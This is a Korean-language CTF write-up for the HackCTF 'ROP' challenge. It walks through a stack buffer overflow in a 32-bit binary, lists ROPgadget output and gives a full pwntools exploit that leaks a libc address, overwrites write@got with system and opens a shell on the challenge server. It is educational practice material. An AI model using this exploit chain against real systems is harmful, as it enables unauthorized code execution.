[HackCTF] ROP Write Up
바이너리와 libc가 주어진다.
먼저 바이너리를 실행해보았다
입력값을받고, Hellow, World! 를 출력하고 종료한다.
바이너리는 32비트에 nx가 걸려있다. 그리고 주어진 libc버전은 2.23인걸 확인할 수 있다.
main함수의 어셈블리 코드이다. vulnerable_function 라는 함수를 호출하고 write함수로 Hello World 문자열을 출력하는 것을 확인할 수 있다.
vunerable_function 의 어셈블리 코드 이다. 0x88 만큼 버퍼를 할당하고 그 버퍼에 read함수로 0x100 만큼 입력값을 넣어주는 것 같다. 여기서 bof가 발생하고 ROP를통해 쉘을 얻을 수 있을듯.
혹시나해서 킹갓 ida로 psuedo code를 확인해 보았다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
write(1, "Hello, World!\n", 14u);
return 0;
}
ssize_t vulnerable_function()
{
char buf[136]; // [esp+0h] [ebp-88h] BYREF
return read(0, buf, 256u);
}
심볼을 확인해보니 read와 write가 둘다 있어서 쉽게 rop payload를 구상할 수 있었다.
1. write 함수로 ret해서 read의 got를 인자로 줘서 read함수의 libc 주소를 leak 한다.
2. leak한 read함수의 주소에 glibc 2.23 에서 read의 offset을 빼서 libc base주소를 구한다.
3. 그후 다시 read 함수로 ret해서 write 의 got를 oneshot gadget의 주소로 덮고
4. 다시 write의 plt주소로 ret해서 oneshot gadget으로 쉘을 따려고 했다.
그래서 one_gadget을 보니 몇가지 가젯이 뜨긴하는데 저 조건들을 맞출 수 있는 가젯이 딱히 보이지 않았다
kim@ubuntu:~/Desktop/hackCTF/rop$ ROPgadget --binary rop
Gadgets information
============================================================
0x08048635 : adc al, 0x41 ; ret
0x0804843e : adc al, 0x50 ; call edx
0x080483ad : adc al, 0x68 ; and al, 0xa0 ; add al, 8 ; call eax
0x08048332 : adc al, 0xa0 ; add al, 8 ; push 0x10 ; jmp 0x8048300
0x080483e6 : adc byte ptr [eax + 0x68], dl ; and al, 0xa0 ; add al, 8 ; call edx
0x08048337 : adc byte ptr [eax], al ; add byte ptr [eax], al ; jmp 0x8048300
0x08048444 : adc cl, cl ; jmp 0x80483c0
0x080483b7 : adc cl, cl ; ret
0x08048418 : add al, 8 ; add ecx, ecx ; ret
0x080483b1 : add al, 8 ; call eax
0x080483eb : add al, 8 ; call edx
0x08048423 : add al, 8 ; mov edx, dword ptr [eax] ; test edx, edx ; jne 0x8048430 ; jmp 0x80483c0
0x08048314 : add al, 8 ; push 0 ; jmp 0x8048300
0x08048334 : add al, 8 ; push 0x10 ; jmp 0x8048300
0x08048344 : add al, 8 ; push 0x18 ; jmp 0x8048300
0x08048324 : add al, 8 ; push 8 ; jmp 0x8048300
0x0804850f : add bl, dh ; ret
0x08048317 : add byte ptr [eax], al ; add byte ptr [eax], al ; jmp 0x8048300
0x08048591 : add byte ptr [eax], al ; add byte ptr [ebp + edi*8 - 1], ch ; call dword ptr [eax]
0x080482ec : add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret
0x08048319 : add byte ptr [eax], al ; jmp 0x8048300
0x0804849d : add byte ptr [eax], al ; mov ecx, dword ptr [ebp - 4] ; leave ; lea esp, [ecx - 4] ; ret
0x08048593 : add byte ptr [ebp + edi*8 - 1], ch ; call dword ptr [eax]
0x0804845b : add byte ptr [ebp - 0x877b], cl ; call dword ptr [eax + 0x6a]
0x0804849e : add byte ptr [ebx - 0x723603b3], cl ; popal ; cld ; ret
0x08048459 : add dword ptr [eax], eax ; add byte ptr [ebp - 0x877b], cl ; call dword ptr [eax + 0x6a]
0x08048415 : add eax, 0x804a024 ; add ecx, ecx ; ret
0x0804841a : add ecx, ecx ; ret
0x08048442 : add esp, 0x10 ; leave ; jmp 0x80483c0
0x080483b5 : add esp, 0x10 ; leave ; ret
0x0804846a : add esp, 0x10 ; nop ; leave ; ret
0x08048505 : add esp, 0xc ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080482ee : add esp, 8 ; pop ebx ; ret
0x08048416 : and al, 0xa0 ; add al, 8 ; add ecx, ecx ; ret
0x080483af : and al, 0xa0 ; add al, 8 ; call eax
0x080483e9 : and al, 0xa0 ; add al, 8 ; call edx
0x08048632 : and byte ptr [edi + 0xe], al ; adc al, 0x41 ; ret
0x08048461 : call dword ptr [eax + 0x6a]
0x0804855f : call dword ptr [eax + 0x70000000]
0x08048597 : call dword ptr [eax]
0x0804844a : call dword ptr [ebp - 0x77]
0x080484b3 : call dword ptr [esi + 0x53]
0x080483b3 : call eax
0x080483ed : call edx
0x080484a1 : cld ; leave ; lea esp, [ecx - 4] ; ret
0x080484a5 : cld ; ret
0x080484a0 : dec ebp ; cld ; leave ; lea esp, [ecx - 4] ; ret
0x08048630 : dec ebp ; push cs ; and byte ptr [edi + 0xe], al ; adc al, 0x41 ; ret
0x0804843d : in al, dx ; adc al, 0x50 ; call edx
0x080483ac : in al, dx ; adc al, 0x68 ; and al, 0xa0 ; add al, 8 ; call eax
0x080483e5 : in al, dx ; adc byte ptr [eax + 0x68], dl ; and al, 0xa0 ; add al, 8 ; call edx
0x0804843b : in eax, 0x83 ; in al, dx ; adc al, 0x50 ; call edx
0x080483aa : in eax, 0x83 ; in al, dx ; adc al, 0x68 ; and al, 0xa0 ; add al, 8 ; call eax
0x08048469 : inc dword ptr [ebx - 0x366fef3c] ; ret
0x08048636 : inc ecx ; ret
0x08048633 : inc edi ; push cs ; adc al, 0x41 ; ret
0x0804850e : jbe 0x8048510 ; ret
0x08048437 : je 0x804842b ; push ebp ; mov ebp, esp ; sub esp, 0x14 ; push eax ; call edx
0x08048504 : jecxz 0x8048489 ; les ecx, ptr [ebx + ebx*2] ; pop esi ; pop edi ; pop ebp ; ret
0x0804851f : jecxz 0x804853b ; add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret
0x0804831b : jmp 0x8048300
0x0804842b : jmp 0x80483c0
0x08048429 : jne 0x8048430 ; jmp 0x80483c0
0x08048503 : jne 0x80484e8 ; add esp, 0xc ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x08048422 : lahf ; add al, 8 ; mov edx, dword ptr [eax] ; test edx, edx ; jne 0x8048430 ; jmp 0x80483c0
0x0804850d : lea esi, [esi] ; ret
0x080484a3 : lea esp, [ecx - 4] ; ret
0x08048445 : leave ; jmp 0x80483c0
0x080484a2 : leave ; lea esp, [ecx - 4] ; ret
0x080483b8 : leave ; ret
0x080482ef : les ecx, ptr [eax] ; pop ebx ; ret
0x08048506 : les ecx, ptr [ebx + ebx*2] ; pop esi ; pop edi ; pop ebp ; ret
0x08048443 : les edx, ptr [eax] ; leave ; jmp 0x80483c0
0x080483b6 : les edx, ptr [eax] ; leave ; ret
0x0804846b : les edx, ptr [eax] ; nop ; leave ; ret
0x08048417 : mov al, byte ptr [0xc9010804] ; ret
0x08048414 : mov byte ptr [0x804a024], 1 ; leave ; ret
0x0804843a : mov ebp, esp ; sub esp, 0x14 ; push eax ; call edx
0x08048380 : mov ebx, dword ptr [esp] ; ret
0x0804849f : mov ecx, dword ptr [ebp - 4] ; leave ; lea esp, [ecx - 4] ; ret
0x08048425 : mov edx, dword ptr [eax] ; test edx, edx ; jne 0x8048430 ; jmp 0x80483c0
0x0804846d : nop ; leave ; ret
0x0804837f : nop ; mov ebx, dword ptr [esp] ; ret
0x0804837d : nop ; nop ; mov ebx, dword ptr [esp] ; ret
0x0804837b : nop ; nop ; nop ; mov ebx, dword ptr [esp] ; ret
0x08048507 : or al, 0x5b ; pop esi ; pop edi ; pop ebp ; ret
0x08048312 : or al, 0xa0 ; add al, 8 ; push 0 ; jmp 0x8048300
0x080483b2 : or bh, bh ; rol byte ptr [ebx - 0xc36ef3c], 1 ; ret
0x080483ec : or bh, bh ; rol byte ptr [ebx - 0xc36ef3c], cl ; ret
0x08048327 : or byte ptr [eax], al ; add byte ptr [eax], al ; jmp 0x8048300
0x08048419 : or byte ptr [ecx], al ; leave ; ret
0x0804850b : pop ebp ; ret
0x08048508 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080482f1 : pop ebx ; ret
0x0804850a : pop edi ; pop ebp ; ret
0x08048509 : pop esi ; pop edi ; pop ebp ; ret
0x080484a4 : popal ; cld ; ret
0x08048316 : push 0 ; jmp 0x8048300
0x08048336 : push 0x10 ; jmp 0x8048300
0x08048346 : push 0x18 ; jmp 0x8048300
0x080483ae : push 0x804a024 ; call eax
0x080483e8 : push 0x804a024 ; call edx
0x08048326 : push 8 ; jmp 0x8048300
0x08048634 : push cs ; adc al, 0x41 ; ret
0x08048631 : push cs ; and byte ptr [edi + 0xe], al ; adc al, 0x41 ; ret
0x0804862e : push cs ; xor byte ptr [ebp + 0xe], cl ; and byte ptr [edi + 0xe], al ; adc al, 0x41 ; ret
0x0804843f : push eax ; call edx
0x080483e7 : push eax ; push 0x804a024 ; call edx
0x08048439 : push ebp ; mov ebp, esp ; sub esp, 0x14 ; push eax ; call edx
0x080482da : ret
0x080483ce : ret 0xeac1
0x080483b4 : rol byte ptr [ebx - 0xc36ef3c], 1 ; ret
0x080483ee : rol byte ptr [ebx - 0xc36ef3c], cl ; ret
0x08048428 : sal byte ptr [ebp + 5], cl ; jmp 0x80483c0
0x08048381 : sbb al, 0x24 ; ret
0x08048347 : sbb byte ptr [eax], al ; add byte ptr [eax], al ; jmp 0x8048300
0x080483e4 : sub esp, 0x10 ; push eax ; push 0x804a024 ; call edx
0x080483ab : sub esp, 0x14 ; push 0x804a024 ; call eax
0x0804843c : sub esp, 0x14 ; push eax ; call edx
0x08048427 : test edx, edx ; jne 0x8048430 ; jmp 0x80483c0
0x080482ea : xor al, byte ptr [eax] ; add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret
0x0804862f : xor byte ptr [ebp + 0xe], cl ; and byte ptr [edi + 0xe], al ; adc al, 0x41 ; ret
Unique gadgets found: 122
나머지 oneshot 가젯들은 모르겠고 eax == NULL 이거라도 맞추려면 pop eax 라도 있어야 하는데 없어서 그냥 모든 oneshot 가젯들로 다 한번씩 payload를 구상해보았는데 전부다 안됨.
그래서
oneshot gadget이 아니라 libc주소 leak 이후 read함수로 bss에 "/bin/sh" 문자열을 넣어주고 write의 got를 one short gadget이 아닌 system 함수의 주소로 덮고 "/bin/sh" 문자열을 넣어준 bss의 주소를 인자로주고 system함수를 호출하는식으로 해 보았다.
libc base주소를 구하기위해서는 read의 offset을 알아야하고, system의 주소를 구하기 위해서는 system의 offset 을 구해야 한다.
readelf -a libc.so.6 | grep "read" 명령어를 사용하면
여러가지 read라는 문자열이 포함된 오프셋중
이렇게 우리가 사용할 read의 오프셋 0xd4350 을 구할 수 있고
마찬가지로 system 은
0x3a940 인것을 알 수 있다.
이제 코드를 보면
from pwn import *
context.log_level ='debug'
r = remote("ctf.j0n9hyun.xyz", 3021)
#r = process("./rop")
be = ELF("./rop")
bss = be.bss()
e = ELF("./libc.so.6")
pop_ret = 0x080482f1 # pop ret gadget
pop3_ret = 0x08048509 # pop pop pop ret gadget
payload = "A"*136 #buf
payload += "BBBB" # sfp
payload += p32(be.plt["write"]) # ret address
payload += p32(pop3_ret)
payload += p32(0)
payload += p32(be.got["read"]) # libc address leak
payload += p32(4)
payload += p32(be.plt["read"]) # send "/bin/sh" in bss address
payload += p32(pop3_ret)
payload += p32(0)
payload += p32(bss)
payload += p32(8)
payload += p32(be.plt["read"]) # overwrite system address in write@got
payload += p32(pop3_ret)
payload += p32(0)
payload += p32(be.got["write"])
payload += p32(8)
payload += p32(be.plt["write"]) # jmp to system("/bin/sh")
payload += "CCCC"
payload += p32(bss)
r.send(payload)
leak = u32(r.recv(4)) # leaked 'read' libc address
libc_base = leak - 0xd4350
oneshot = libc_base + 0x5f066
binsh = libc_base + 0x15902b
system = libc_base + 0x3a940
r.send("/bin/sh\n")
r.send(p32(system))
r.interactive()
위 payload를 그림으로 나타내면 다음과 같다
그리고 실행해 보면
쉘을 얻을 수 있다.